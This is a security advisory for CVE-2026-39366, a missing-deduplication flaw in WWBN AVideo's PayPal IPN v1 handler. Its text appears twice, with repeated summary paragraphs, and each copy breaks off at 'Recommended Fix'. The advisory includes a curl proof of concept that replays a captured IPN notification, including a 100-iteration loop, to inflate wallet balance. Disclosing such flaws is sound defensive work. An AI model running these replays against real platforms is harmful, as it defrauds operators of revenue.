CVE-2026-39366

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Summary

The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Details

When a recurring payment IPN arrives at ipn.php, the handler:

1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=_notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.

2. Looks up the subscription from recurring_payment_id and directly credits the user's wallet (lines 41-53):

// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
    $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
    Subscription::renew($users_id, $row['subscriptions_plans_id']);
    $obj->error = false;
}

No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.

Compare with the patched handlers:

• ipnV2.php (line 50): PayPalYPT::isTokenUsed($_GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), with PayPalYPT_log entries saved on success.
• webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPT_log entry saved on success.

The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:

$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";

PoC

# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'

# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'
done

# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

• Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
• Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment.
• Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

…

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Summary

The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Details

When a recurring payment IPN arrives at ipn.php, the handler:

1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=_notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.

2. Looks up the subscription from recurring_payment_id and directly credits the user's wallet (lines 41-53):

// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
    $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
    Subscription::renew($users_id, $row['subscriptions_plans_id']);
    $obj->error = false;
}

No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.

Compare with the patched handlers:

• ipnV2.php (line 50): PayPalYPT::isTokenUsed($_GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), with PayPalYPT_log entries saved on success.
• webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPT_log entry saved on success.

The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:

$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";

PoC

# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'

# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'
done

# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

• Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
• Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment.
• Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

…